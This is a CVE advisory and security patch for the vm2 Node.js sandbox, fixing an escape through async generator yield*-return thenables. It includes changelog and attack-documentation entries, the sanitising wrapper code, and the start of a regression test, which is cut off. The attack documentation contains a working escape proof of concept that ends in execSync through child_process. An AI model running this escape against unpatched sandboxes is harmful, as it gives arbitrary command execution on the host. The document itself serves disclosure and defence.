CVE-2026-45411
Description
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
vm2npm | < 3.11.3 | 3.11.3 |
Affected products
1- Range: <= 3.11.2
Patches
1093494c0c3effix(GHSA-248r-7h7q-cr24): close async generator yield*-return thenable exception capture
5 files changed · +1462 −1
CHANGELOG.md+8 −0 modified@@ -1,5 +1,13 @@ # Changelog +## [3.11.3] + +Single advisory closed. Patch release — no API changes. + +### Security fix + +- **GHSA-248r-7h7q-cr24** — async generator `yield*`-return thenable exception capture. Calling `i.return(thenable)` on an async generator delegating to a no-`return` inner iterator let V8's `PromiseResolveThenableJob` capture synchronous throws from the thenable's `.then` and surface them to sandbox code as iterator results — bypassing both the transformer's `catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Two-layer defense on `%AsyncGeneratorPrototype%.next/.return/.throw` in `lib/setup-sandbox.js`: every iterator-result promise routes value and rejection through `handleException`, and every thenable argument is replaced with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` that sanitises sync throws and recursively re-wraps any nested thenable handed to `resolve(...)`. When `safeThen` reads `value.then` and it is non-function, the wrapper always resolves with a `{__proto__: null}` shadow so V8's re-read of `.then` cannot observe attacker-controlled values — closing every counting/self-replacing-getter TOCTOU variant. Trade-off: identity is not preserved for non-thenable values passed to `i.return(x)`. ATTACKS.md Category 29. + ## [3.11.2] Three advisories closed. Patch release — no API changes.
docs/ATTACKS.md+131 −0 modified@@ -2110,6 +2110,136 @@ This restores [Defense Invariant: Bridge-Internal Containers Must Not Invoke San - **`Object.prototype` setter on numeric keys**: `c` is a `{ __proto__: null, ... }` literal, so reads on `value.arr` inside the captured record do not walk `Object.prototype` either; even if they did, the leak channel is the `Array.prototype[N]` setter, not the record's own access path. - **Equivalent pattern elsewhere in the bridge**: audited; `thisFromOtherArguments`, `otherFromThisArguments`, and every other index-write site already use `thisReflectDefineProperty` or `otherReflectDefineProperty`. `neutralizeArraySpeciesBatch` was the lone outlier. +--- +## Attack Category 29: Async Generator yield*-Return Thenable Exception Capture + +**Uses**: [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation). + +### Description + +When an async generator delegates with `yield*` to an inner async iterator that lacks a `return` method, the spec specifies that calling `.return(value)` on the outer generator must `Await(value)` and then propagate the abrupt return up. V8 implements this via the standard `PromiseResolveThenableJob`: if `value` is a thenable, V8 calls `value.then(resolve, reject)` and any synchronous throw from that call is caught by the engine. The captured throw is then surfaced to the outer async generator through the yield*'s continuation as a yielded result of shape `{ value: thrownError, done: false }`. + +This produces a path along which a thrown value flows from a sandbox closure into another sandbox `await` **without ever entering a JavaScript `try/catch`**. Both vm2 defenses against host-realm error smuggling assume an explicit catch: + +1. The transformer-instrumented `catch` block (every user `catch` calls `handleException`) is bypassed because the catch is implicit in V8 internals. +2. The `globalPromise.prototype.then` rejection sanitiser is bypassed because internal `Await` uses `PerformPromiseThen` directly and never invokes the user-visible `.then` override. + +The reporter's PoC chains this with deep recursion: at the precise depth where V8 detects stack overflow inside the host C++ `PromiseResolveThenableJob` glue, the `RangeError` is created in the **host** realm. With both sanitisers bypassed, the host `RangeError` is supposed to reach sandbox code unwrapped, after which `e.constructor.constructor("return process")()` yields RCE. + +CWE-913 (Improper Control of Dynamically-Managed Code Resources). + +### Attack Flow + +1. Define an async generator that delegates via `yield* { [Symbol.asyncIterator]: () => ({ next: v => ({ value: v, done: false }) }) }` (no `return` method on the inner iterator). +2. Advance the outer generator one step with `await i.next()` so the suspension is inside `yield*`. +3. Call `await i.return(thenable)` where `thenable = { then(r) { f(); r(); } }`. V8's algorithm awaits the thenable; `PromiseResolveThenableJob` invokes `thenable.then`. `f()` throws. +4. V8 catches the throw inside the C++ resolver job. The yield* continuation surfaces the captured value to the outer async generator as `{ value: thrown, done: false }`. +5. Sandbox `await i.return(...)` resolves with that fulfillment shape — no rejection path was taken, so `globalPromise.prototype.then` is never invoked. No user `catch` clause was entered, so the transformer's instrumentation is never invoked. +6. With binary search, the attacker hunts for the recursion depth where the throw originates inside V8's host code, producing a host-realm `RangeError`. `e.constructor.constructor` is then the host `Function` constructor and `("return process")()` returns `process` → RCE. + +### Canonical Example + +```javascript +// (advisory GHSA-248r-7h7q-cr24) +class E extends Error {} +function so(d) { + if (d > 0) so(d - 1); + const e = new E(); + e.stack; + throw e; +} +async function* helper() { + yield* { + [Symbol.asyncIterator]: () => ({ + next: v => ({ value: v, done: false }), + }), + }; +} +async function doCatch(f) { + const i = helper(); + await i.next(); + const v = await i.return({ then(r) { f(); r(); } }); + return v.value; +} +(async () => { + let min = 0, max = 10000000; + while (min < max) { + const mid = (min + max) >> 1; + const e = await doCatch(() => so(mid)); + if (e.name === 'RangeError' && !(e instanceof RangeError)) { + e.constructor.constructor('return process')() + .mainModule.require('child_process').execSync('touch pwned'); + return; + } + if (e instanceof E) min = mid + 1; else max = mid; + } +})(); +``` + +### Why It Works + +The yield* abrupt-return path is one of the rare specification-mandated places where a value flows back into sandbox code through V8's internal Promise machinery without traversing a JavaScript `try/catch` and without invoking `Promise.prototype.then`. Both of vm2's existing chokepoints for host-realm value sanitisation are tied to those two surfaces: + +- **Transformer instrumentation** rewrites every `catch (e) {` into `catch (e) { e = handleException(e); ...`. There is no source-level `catch` here — V8 catches the throw in C++ during PromiseResolveThenableJob. +- **`globalPromise.prototype.then` override** wraps `onFulfilled` with `from()` and `onRejected` with `handleException()`. V8's `Await` operation (used by `await` inside async functions) is specified in terms of `PerformPromiseThen`, an internal abstract operation that builds builtin reactions without going through the user-visible `.then` getter, so neither wrapper fires for internal awaits. + +### Mitigation + +The defense has two layers, both in `lib/setup-sandbox.js` (after `handleException` is defined and the bridge sanitisers are wired): + +**Layer 1 — iterator-result sanitisation.** Wrap `%AsyncGeneratorPrototype%.next` / `.return` / `.throw` so every iterator-result promise returned by an async generator chains through a sanitisation step that: + +- Routes the resolved `result.value` through `handleException` (no-op for sandbox-realm or primitive values; bridge-wraps host-realm values; recursively sanitises `SuppressedError.error/.suppressed` and `AggregateError.errors[]`). +- Routes any rejection through `handleException` before re-throwing. + +The chain uses the cached native `globalPromisePrototypeThen` (not the overridden user-visible `.then`) so the sanitiser does not double-handle and cannot be observed via species manipulation on intermediate promises. New iterator-result objects are constructed when the value changes — never mutate an attacker-controlled result shape. + +**Layer 2 — thenable-arg sanitisation (closure-transport bypass).** Layer 1 alone is bypassable: an inner iterator can return `{ value: () => v, done: false }` where the closure traps the value V8 forwards as the parameter to `inner.next(captured)` on the abrupt-return loop turn. The wrapper sees only the closure, `handleException` returns it unchanged, and sandbox extracts the raw value via `wrap.value()`. To close this, the wrapper also intercepts the first argument to `.next` / `.return` / `.throw`: it is **always** replaced with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` function. `safeThen` reads `value.then` exactly once internally; if it is a function, it is invoked with sanitising callbacks, and any synchronous throw is converted to `reject(handleException(e))`. V8's `PromiseResolveThenableJob` then captures a sandbox-realm rejection value, so by the time V8 forwards the value into `inner.next`, the realm has been normalized. + +The wrapper closes three sub-attacks against this transport: + +1. **Direct sync throw.** `safeThen` wraps the user `.then` call in `try/catch` and converts throws to `reject(handleException(e))`. +2. **Nested-thenable resolve** — `{ then(r){ r({ then(r){ f(); r(); }}) }}`. The outer `.then` resolves with another thenable; V8 recursively unwraps via another `PromiseResolveThenableJob`, and the inner `.then` would otherwise run unwrapped. Fix: `safeThen` wraps the `resolve` callback so any thenable handed to it is recursively re-sanitised before V8 sees it (`safeResolve(v) → resolve(sanitizeThenableArg(v))`). V8 only ever invokes our `safeThen`, never a user `.then` directly. +3. **Getter TOCTOU on `.then`** — a getter returns `undefined` on a pre-read and a real function on V8's read. Fix: never pre-read; always substitute the wrapper. For the non-thenable branch (`value.then` not callable when `safeThen` reads it), `safeThen` **always** resolves with a fresh `{ __proto__: null }` shadow that copies all of `value`'s own descriptors *except* `.then`. V8's subsequent `PromiseResolve` cannot re-detect a thenable on the shadow because it has no `.then` own or inherited property. + + **History — why "always shadow":** v5/v6 of this fix tried to preserve identity for benign non-thenable inputs (`i.return(myMap)` returning the same Map back) by gating the shadow on a descriptor walk that detected accessors anywhere in the chain. The reviewer demonstrated two structural bypasses: + - **Self-replacing getter** (v6 bypass, GHSA-248r-7h7q-cr24, follow-up): the getter counts to N, returns non-function on each pre-read, then on the Nth call self-replaces with a `defineProperty` call installing a data property holding a malicious function. By the time the descriptor walk runs, the slot is already a data property; the walk concludes "no accessor present" and the code passes `value` to `resolve()`. V8's `[[Get]](value, 'then')` then reads the malicious function from the data property and schedules a fresh `PromiseResolveThenableJob` that calls it with V8's internal capability resolvers — **outside** any `safeThen` wrapper. Provable empirically: the resolver argument's `.name` is `''` (V8 internal) instead of `'safeResolveCallback'` (our wrapper). + - **Proxy with lying descriptors** (theoretical for vm2 since Proxy is removed from the sandbox global, but structurally identical): a Proxy can return arbitrary values from the `get` trap across reads while `getOwnPropertyDescriptor` lies about what is "really" there. Detection-based heuristics on attacker-controlled `.then` slots are fundamentally bypassable; doubling, tripling, or N-reading the slot does not help because attackers control the read-count state machine. + + The v7 structural answer is: **never** trust a `.then` slot we did not place ourselves. When `userThen` reads non-function once, replace `value` with a sandbox-realm shadow that V8 reads instead. Identity preservation in this codepath is incompatible with safety against TOCTOU on `.then`. + +Implementation note: the wrap targets `%AsyncGeneratorPrototype%` (the shared intrinsic that owns `next/return/throw`), reached via `getPrototypeOf(getPrototypeOf(asyncGenInstance))`. A single `getPrototypeOf` walk reaches only the per-function prototype, which is unique to each async generator function and ineffective for any other generator — a subtle but critical point for prototype-level wraps of generator protocols. + +The wrapper builds its `argsList` as `{ __proto__: null, length, ... }` rather than a `[]` literal: an empty array literal inherits `Array.prototype`, and a sandbox-installed setter on `Array.prototype['0']` (or `Object.prototype['0']`) would walk the chain when `args[0] = arguments[0]` runs and intercept the user value before `sanitizeThenableArg` ever ran. With `__proto__: null`, integer-key writes never walk a user-controlled prototype. + +The three wrapped methods are installed with `writable: false, configurable: false` so sandbox code cannot delete or redefine them — even without a reference to the original native, replacing the wrapper would let sandbox interpose its own logic on V8's yield* protocol invocations. + +Every previous direct call to `handleException(e)` from the wrapper code is now routed through `safeSanitize(e)`, which catches throws from `handleException` itself (e.g., `bridge.from` failing on a hostile prototype) and falls back to a sandbox-realm `VMError`. Without this, an uncaught throw from `handleException` would propagate out of `safeThen` (or out of `sanitizeRejectedIterResult`) and become the resolver-job's captured value — sandbox would observe a host-realm rejection that defeated the whole sanitisation chain. + +Together the two layers restore **[Defense Invariant #2](#defense-invariants)** (every value entering a `catch` clause passes through `handleException`) for the implicit-catch case in V8's async generator state machine, and **Invariant #1** (no host-realm object reaches sandbox code unwrapped) for both the iterator-result `value` slot and the closure-transport variant. + +### Detection Rules + +- **`yield*` inside an async generator** delegating to an attacker-controlled async iterator (`{ [Symbol.asyncIterator]: () => ({...}) }`) — particularly when the inner object lacks a `return` method. +- **`.return(value)` on an async generator where `value` is a thenable** — the attacker-controlled `.then` is the implicit-catch primitive. The thenable-arg sanitisation in Layer 2 wraps every such argument before it reaches V8's resolver job. +- **Inner iterators returning `{ value: closure, done: ... }` shapes** — closures hide the captured value from prototype-level wrappers. Layer 2 closes this by sanitising at the source (the thenable input) rather than the closure output. +- **Nested thenables in `resolve(...)` calls** — `safeResolve` recursively re-sanitises any thenable handed to it, so `{ then(r){ r(innerThenable) }}` chains stay inside the wrap. +- **Getter-driven TOCTOU on `.then`** — `safeThen` reads `value.then` exactly once for the initial type check. If non-function, the wrapper unconditionally resolves with a fresh `{ __proto__: null }` shadow that copies all of `value`'s own descriptors **except** `.then`. V8's subsequent `[[Get]]` reads the shadow (which we control), not the user's `value`, so the entire family of `.then`-slot TOCTOU primitives — counting getters, self-replacing getters, Proxy `get` traps that switch values across reads — is closed by construction. + + Trade-off: identity is **not** preserved for non-thenable values passed to `i.return(x)`. `wrap.value` is a stripped `{ __proto__: null }` copy of `x`'s own data, not `x` itself. The v5/v6 attempts to preserve identity (descriptor walk, double-read) were structurally unsound — every detection-based heuristic on an attacker-controlled `.then` slot can be bypassed by counting reads. If sandbox code needs the original reference, it should keep its own copy outside the `i.return()` call. +- **Array.prototype / Object.prototype setter pollution on the args build** — covered by the `{ __proto__: null }` argsList described above; integer-key writes on the wrapper's args object never walk a sandbox-controlled prototype. +- **Sandbox redefining the wrapper itself** — covered by the `writable: false, configurable: false` install, blocking `delete agProto.next`, `agProto.next = malicious`, and `defineProperty(agProto, 'next', ...)`. +- **Awaiting iterator results inside async generators** without going through a user `catch` clause — every such path must be sanitised at the prototype level. +- **Any new V8 specification path that uses `PerformPromiseThen` directly on a sandbox Promise** without invoking user-visible `.then` — review whether values flowing through it still pass `handleException`. + +### Considered Attack Surfaces + +- **Sync `Generator.prototype.next/.return/.throw`** — sync generators do not `Await` values, so the thenable→throw→yielded-value primitive does not apply. Sync iter results are delivered synchronously and any thrown value enters a sandbox `catch` (transformer-instrumented) or escapes as an exception that the existing rejection sanitiser handles. Not wrapped. +- **`for await (...)` over an async iterator** — every iteration calls `iter.next()` and awaits the result. `next()` is now wrapped, so any value flowing through the loop is sanitised. +- **Direct `await asyncIter.next()` outside a generator context** — same chokepoint; covered by the prototype wrap. +- **Host-realm async iterators returned to sandbox** — bridge proxies route property access (`.next`, `.return`, `.throw`) through the apply trap, which already wraps host throws via `thisFromOtherForThrow`. The async generator prototype wrap is independent and does not change this path. +- **Attacker-supplied inner iterator with a `return` method that throws** — when `iter.return` exists and throws, the spec routes through the rejection path (no implicit fulfillment). The wrapped `.return` on the outer generator sanitises the rejection regardless. + --- ## Considered Attack Surfaces @@ -2196,6 +2326,7 @@ The most dangerous attacks combine multiple categories. Each pattern references 19. **WebAssembly JSTag Exception Catch** [Categories 4, 12, 17]: Wasm module imports JSTag and trigger function. Trigger causes host TypeError via Error Generation Primitive. Wasm `try_table/catch` catches and returns unsanitized externref. 20. **Array Species Self-Return + Object.assign** [Categories 3, 10, 18]: Create host array, set up self-referential species constructor, inject via `Object.assign` (bypasses proxy `set` trap), call `r.map(f)` for raw host values. Chain `cwu` calls to extract host `Function`. 21. **Host Built-in Identity Leak via Proto Walk** [Categories 1, 2, 8] (NOW FIXED): Walk the prototype chain via `({}).__lookupGetter__('__proto__')` composed with `Buffer.apply` (or any host-bound `__proto__` getter) to terminate at host `Object.prototype`, then read `.constructor` to obtain a *reference* to host `Object` whose identity is disjoint from sandbox `Object`. The original symbol-filter patch (commit `67bc511`) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns "I have a host built-in handle" into "I can read a host symbol or call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Closed structurally by `thisAddIdentityMapping` in `lib/bridge.js` (see Category 8 mitigation). +22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor("return process")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values. ### How The Bridge Defends
lib/setup-sandbox.js+375 −0 modified@@ -983,6 +983,381 @@ if (typeof bridge.setHostPromiseSanitizers === 'function') { bridge.setHostPromiseSanitizers(e => handleException(from(e)), from); } +// SECURITY (GHSA-248r-7h7q-cr24): Async generator yield*-return thenable +// exception capture. When sandbox code calls `i.return(thenable)` on an +// async generator that delegates via `yield*` to an inner async iterator +// without a `return` method, V8's PromiseResolveThenableJob captures any +// synchronous throw from the thenable's `.then` callback and the yield* +// machinery delivers it to sandbox code as an iterator result +// (`{ value: thrown, done: false }`). This bypasses (a) the transformer's +// `catch`-block instrumentation (the catch is implicit in V8 internals) +// and (b) the `globalPromise.prototype.then` rejection sanitizer above, +// because internal `Await` uses `PerformPromiseThen` directly and never +// invokes the user-visible `.then` override. Wrap +// `%AsyncGeneratorPrototype%.next` / `.return` / `.throw` so every value +// flowing out of an async generator into sandbox code is routed through +// `handleException` — restoring the invariant that no host-realm value +// can reach sandbox code without sanitization. +let localAsyncGeneratorPrototype = null; +try { + // %AsyncGeneratorPrototype% is two prototype levels up from an instance: + // instance.[[Prototype]] → per-function prototype + // per-function-prototype.[[Prototype]] → %AsyncGeneratorPrototype% + // Each async generator function gets its own per-function prototype, so + // wrapping that level is ineffective for any other async generator + // (like helpers defined inside sandbox code). Walk up one more step to + // reach the shared intrinsic prototype that owns next/return/throw. + const localAsyncGenInstance = localEval('(async function*(){})()'); + localAsyncGeneratorPrototype = localReflectGetPrototypeOf(localReflectGetPrototypeOf(localAsyncGenInstance)); +} catch (e) { + // AsyncGenerators not available (Node < 10) — nothing to wrap. +} + +if (localAsyncGeneratorPrototype) { + const origAsyncGenNext = localAsyncGeneratorPrototype.next; + const origAsyncGenReturn = localAsyncGeneratorPrototype.return; + const origAsyncGenThrow = localAsyncGeneratorPrototype.throw; + + // SECURITY: chain through the *cached* native then() so this sanitization + // step does not itself recurse through the `globalPromise.prototype.then` + // override (which would double-handle and could observe attacker-supplied + // species manipulation on intermediate promises). + function sanitizeAsyncIteratorResultPromise(promise) { + return apply(globalPromisePrototypeThen, promise, [ + function sanitizeFulfilledIterResult(result) { + if (result === null || (typeof result !== 'object' && typeof result !== 'function')) return result; + let value; + try { + value = result.value; + } catch (ex) { + return result; + } + const sanitized = safeSanitize(value); + if (sanitized === value) return result; + let done; + try { + done = !!result.done; + } catch (ex) { + done = false; + } + // New object — never mutate an attacker-controlled result shape. + return { value: sanitized, done }; + }, + function sanitizeRejectedIterResult(error) { + throw safeSanitize(error); + }, + ]); + } + + // SECURITY: when sandbox passes a thenable to AsyncGeneratorPrototype.return + // (or .next / .throw), V8 awaits the thenable as part of yield* abrupt- + // completion processing. PromiseResolveThenableJob calls the thenable's + // .then(resolve, reject); a synchronous throw from .then is captured by + // V8's host-side try/catch and propagated INTO the inner iterator as the + // resumption value — i.e., V8 calls inner.next(captured) on the next loop + // turn. The inner iterator (sandbox-defined) can package that value + // however it wants — including hiding it inside a closure + // (`{value: ()=>v, done: false}`) so the wrapper above sees only the + // closure and the iterator-result `value` sanitization is a no-op. + // + // Three sub-attacks, all closed below: + // + // (1) Direct sync throw — wrap user .then in try/catch, convert to + // reject(handleException(e)). + // (2) Nested-thenable resolve — `{ then(r){ r({ then(r){ f(); r(); }}) }}`. + // Outer .then resolves with another thenable; V8 recursively + // unwraps via PromiseResolveThenableJob, the inner .then runs + // unwrapped. Fix: wrap the resolve callback so any thenable + // handed to it is recursively re-sanitised before V8 sees it. + // (3) Getter TOCTOU on .then — a getter returns undefined to our + // pre-read and a real function to V8's read. Fix: never pre-read. + // Always substitute a sandbox-realm wrapper whose .then is a + // fixed function. Inside that function read user.then exactly + // once and use the captured ref. For the non-thenable branch, + // resolve with a fresh shadow object that has no .then own or + // inherited property, so V8 cannot re-detect a thenable when + // PromiseResolve runs again on the resolution value. + // + // Together these collapse the attack surface to: V8 only ever calls + // safeThen, and safeThen routes every value flowing across the boundary + // through handleException or another safeThen wrapper. + // SECURITY (v5 — review feedback): the previous makeNonThenableShadow + // always built a `{__proto__:null}` copy of value's own descriptors. + // That preserved the "V8 cannot re-detect a thenable on PromiseResolve" + // invariant, but corrupted any value with meaningful prototype-defined + // behaviour: passing a function, Map, Set, Date, or any class instance + // to `i.return(x)` would surface to sandbox code as an empty object + // stripped of its constructor methods (`fn(2,3)`, `m.get('a')`, + // `d.toISOString()` all break). + // + // Use a hybrid strategy: walk value's prototype chain for a `then` + // accessor (getter/setter). If none, V8's re-read of `value.then` will + // see the same `undefined` we did — safe to pass `value` straight to + // resolve, preserving identity and prototype methods. If an accessor + // IS present (attacker scenario or `Object.prototype.then` poisoning), + // fall back to the stripped shadow — the data corruption is acceptable + // because the value is already attacker-crafted in that case. + + // SECURITY (v7 — GHSA-248r-7h7q-cr24): the v6 fix used a descriptor + // walk + double-read to decide whether `value` could be passed + // directly to `resolve()` (preserving identity for benign non-thenable + // inputs). The reviewer demonstrated a structural bypass: a getter on + // `.then` that counts reads, returns non-function on each pre-read, + // then self-replaces with a data property holding a malicious function + // before V8's `[[Get]]` in `PromiseResolveThenableJob` runs. The + // descriptor walk afterwards sees the data property (not an accessor) + // and concludes "safe to pass value". V8 then reads the malicious + // function and schedules another `PromiseResolveThenableJob` that + // invokes it OUTSIDE our wrapper, with V8 internal capability + // resolvers — defeating every layer above. + // + // The same flaw applies to Proxies: `getOwnPropertyDescriptor` traps + // can lie about descriptors while `get` traps return arbitrary values + // across reads. Detection-based heuristics on attacker-controlled + // `.then` slots are fundamentally bypassable. + // + // `thenIsAccessorInChain` is therefore removed in v7. The non-function + // branch ALWAYS shadows; see `safeThen` below for rationale. + function makeNonThenableShadow(value) { + const shadow = { __proto__: null }; + let keys; + try { + keys = localReflectOwnKeys(value); + } catch (ex) { + return shadow; + } + if (!localArrayIsArray(keys)) return shadow; + for (let i = 0; i < keys.length; i++) { + const k = keys[i]; + if (k === 'then') continue; + let desc; + try { + desc = localReflectGetOwnPropertyDescriptor(value, k); + } catch (ex) { + continue; + } + if (!desc) continue; + try { + localReflectDefineProperty(shadow, k, desc); + } catch (ex) { + // best effort — non-configurable / non-writable conflicts + } + } + return shadow; + } + + // SECURITY (v5 — review feedback): handleException(e) itself can throw + // (e.g., bridge.from on a hostile prototype, or a getter on .error / + // .suppressed that escapes its inner try/catch). If the throw escapes + // uncaught from a place where we then re-throw or hand the value to V8, + // the original raw value reaches sandbox code via the rejection path — + // defeating the entire sanitisation chain. Wrap every call with a + // fallback that returns a sandbox-realm VMError. + function safeSanitize(e) { + let result; + try { + result = handleException(e); + } catch (sanEx) { + try { + result = new VMError('Exception sanitization failed'); + } catch (vmEx) { + try { + result = new LocalError('Exception sanitization failed'); + } catch (errEx) { + result = undefined; + } + } + } + return result; + } + + function sanitizeThenableArg(value) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) return value; + // ALWAYS wrap. Do not pre-read value.then — a getter could behave + // differently on the second call and bypass the wrap (sub-attack 3). + return { + then: function safeThen(resolve, reject) { + // Read user.then exactly once; V8 will not re-read because it + // already captured `safeThen` (a fixed function) at PromiseResolve + // time and uses that captured ref for the resolver job. + let userThen; + try { + userThen = value.then; + } catch (e) { + if (typeof reject === 'function') { + try { + reject(safeSanitize(e)); + } catch (rejectEx) { + /* best effort */ + } + return undefined; + } + throw safeSanitize(e); + } + if (typeof userThen !== 'function') { + // SECURITY (v7 — GHSA-248r-7h7q-cr24): the v6 fix tried + // to preserve identity for benign non-thenable inputs by + // passing `value` to `resolve()` after a descriptor walk + // confirmed no `.then` accessor in the chain. The + // external review demonstrated a counter: a getter + // that counts reads, returns non-function on each + // pre-read, then self-replaces with a data property + // holding a malicious function before V8's `[[Get]]` in + // PromiseResolveThenableJob. By the time the descriptor + // walk runs, the getter has already mutated to a data + // property, so the walk reports "no accessor" and the + // code passes `value` to `resolve()`. V8 then reads the + // malicious function via [[Get]] and schedules another + // PromiseResolveThenableJob that calls it OUTSIDE our + // wrapper — proven by the V8-supplied resolver having + // `.name === ""` instead of `safeResolveCallback`. + // + // Doubling, tripling, or N-reading does not help: the + // getter (or a Proxy) can count to any N before + // switching, and Proxies can lie about descriptors. + // Detection-based heuristics on an attacker-controlled + // `.then` slot are fundamentally bypassable. + // + // Structural fix: when `userThen` is non-function on + // our read, ALWAYS resolve with a sandbox-realm shadow + // that has no `.then` anywhere in its chain. V8 cannot + // re-read the user's `value`; it only sees the shadow, + // which we fully control. Trade-off: identity is not + // preserved for non-thenable values passed to + // `i.return(x)` (the resolved iterator value will not + // be `===` to the input). Identity preservation in this + // codepath is incompatible with safety against TOCTOU + // attacks on `.then`; the shadow option is the only + // invariant we can hold against an adversarial input. + if (typeof resolve === 'function') { + let shadow; + try { + shadow = makeNonThenableShadow(value); + } catch (shadowEx) { + shadow = { __proto__: null }; + } + try { + resolve(shadow); + } catch (resolveEx) { + /* best effort */ + } + } + return undefined; + } + // Wrap resolve so any nested thenable handed to it is itself + // sanitised before V8 schedules the next PromiseResolveThenableJob + // (sub-attack 2 — `{ then(r){ r(innerThenable) }}` chains). + const safeResolve = + typeof resolve === 'function' + ? function safeResolveCallback(v) { + let safe; + try { + safe = sanitizeThenableArg(v); + } catch (wrapEx) { + safe = v; + } + return resolve(safe); + } + : resolve; + const safeReject = + typeof reject === 'function' + ? function safeRejectCallback(r) { + return reject(safeSanitize(r)); + } + : reject; + try { + return apply(userThen, value, [safeResolve, safeReject]); + } catch (e) { + const sanitized = safeSanitize(e); + if (typeof reject === 'function') { + try { + reject(sanitized); + } catch (rejectEx) { + /* best effort */ + } + return undefined; + } + throw sanitized; + } + }, + }; + } + + function wrapAsyncGenMethod(orig) { + return function asyncGenSanitizedWrapper() { + // SECURITY: sanitize the first argument (the only one V8 awaits in + // yield* abrupt-completion paths) BEFORE delegating to the native + // method. Build the argsList as a `{ __proto__: null }` array-like + // so writes to `args[i]` cannot walk the prototype chain and fire + // sandbox-installed setters on `Array.prototype` / `Object.prototype`. + // Using `[]` would inherit Array.prototype, and an attacker setter + // on `Array.prototype['0']` would intercept the user value before + // sanitizeThenableArg ever runs (or could feed a different value + // to the native method via a paired getter). + const len = arguments.length; + const args = { __proto__: null, length: len }; + for (let i = 0; i < len; i++) { + args[i] = arguments[i]; + } + if (len > 0) { + args[0] = sanitizeThenableArg(args[0]); + } + let res; + try { + res = apply(orig, this, args); + } catch (e) { + // Synchronous throw from the native method (e.g. wrong receiver) — + // sanitize the throw value before it reaches sandbox catch blocks. + throw safeSanitize(e); + } + if (res === null || (typeof res !== 'object' && typeof res !== 'function')) return res; + return sanitizeAsyncIteratorResultPromise(res); + }; + } + + // SECURITY: install with writable:false, configurable:false so sandbox + // code cannot delete or replace the wrappers (defense-in-depth — even + // without a reference to the original native, replacing the wrapper + // would let sandbox interpose its own logic on V8's yield* protocol + // invocations). + if (typeof origAsyncGenNext === 'function') { + if ( + !localReflectDefineProperty(localAsyncGeneratorPrototype, 'next', { + __proto__: null, + value: wrapAsyncGenMethod(origAsyncGenNext), + writable: false, + enumerable: false, + configurable: false, + }) + ) + throw localUnexpected(); + } + if (typeof origAsyncGenReturn === 'function') { + if ( + !localReflectDefineProperty(localAsyncGeneratorPrototype, 'return', { + __proto__: null, + value: wrapAsyncGenMethod(origAsyncGenReturn), + writable: false, + enumerable: false, + configurable: false, + }) + ) + throw localUnexpected(); + } + if (typeof origAsyncGenThrow === 'function') { + if ( + !localReflectDefineProperty(localAsyncGeneratorPrototype, 'throw', { + __proto__: null, + value: wrapAsyncGenMethod(origAsyncGenThrow), + writable: false, + enumerable: false, + configurable: false, + }) + ) + throw localUnexpected(); + } +} + const withProxy = localObjectFreeze({ __proto__: null, has(target, key) {
package.json+1 −1 modified@@ -13,7 +13,7 @@ "alcatraz", "contextify" ], - "version": "3.11.2", + "version": "3.11.3", "main": "index.js", "sideEffects": false, "repository": "github:patriksimek/vm2",
test/ghsa/GHSA-248r-7h7q-cr24/repro.js+947 −0 added@@ -0,0 +1,947 @@ +'use strict'; + +/** + * GHSA-248r-7h7q-cr24 — Async generator yield* return-thenable exception capture + * + * ## Vulnerability + * When an async generator delegates via `yield*` to an inner async iterator + * with no `return` method, calling `i.return(thenable)` causes V8 to await + * the thenable as the abrupt-return value. If the thenable's `.then` method + * synchronously throws (e.g. by deep recursion → RangeError, or any + * attacker-controlled host throw), V8's `PromiseResolveThenableJob` + * captures the exception and the V8 yield* machinery delivers it to + * sandbox code as a fulfillment `{ value: thrown, done: false }`. + * + * This bypasses two existing defenses: + * 1. The transformer's `catch`-block instrumentation (the catch is + * implicit in V8 internals; no user `catch` block is involved). + * 2. The `globalPromise.prototype.then` rejection sanitizer in + * setup-sandbox.js — V8's internal `Await` uses `PerformPromiseThen` + * directly, never invoking the user-visible `.then` override. + * + * The result: a value can flow into sandbox code through the async + * generator state machine without passing through `handleException`. + * + * Original PoC: binary-search recursion depths until V8 + * throws a `RangeError` whose realm is the host (this can occur at + * the precise depth where the overflow strikes during V8's + * PromiseResolveThenableJob host code), then use + * `e.constructor.constructor("return process")()` for RCE. + * + * ## Fix + * Wrap `%AsyncGeneratorPrototype%.next` / `.return` / `.throw` to route + * the resolved-iterator-result `value` through `handleException`, and + * route any rejection through `handleException` as well. This restores + * the invariant: every value flowing from an async generator into + * sandbox code is sanitized. + */ + +const assert = require('assert'); +const { VM } = require('../../../lib/main.js'); + +if (typeof it.cond !== 'function') { + it.cond = function (name, cond, fn) { + return cond ? it(name, fn) : it.skip(name, fn); + }; +} + +// AsyncGenerators require Node 10+; assume present on supported targets. +const HAS_ASYNC_GEN = (() => { + try { + eval('(async function*(){})'); + return true; + } catch (e) { + return false; + } +})(); + +describe('GHSA-248r-7h7q-cr24 (async generator yield*-return thenable exception capture)', function () { + it.cond( + 'canonical PoC: cannot reach host process through e.constructor.constructor', + 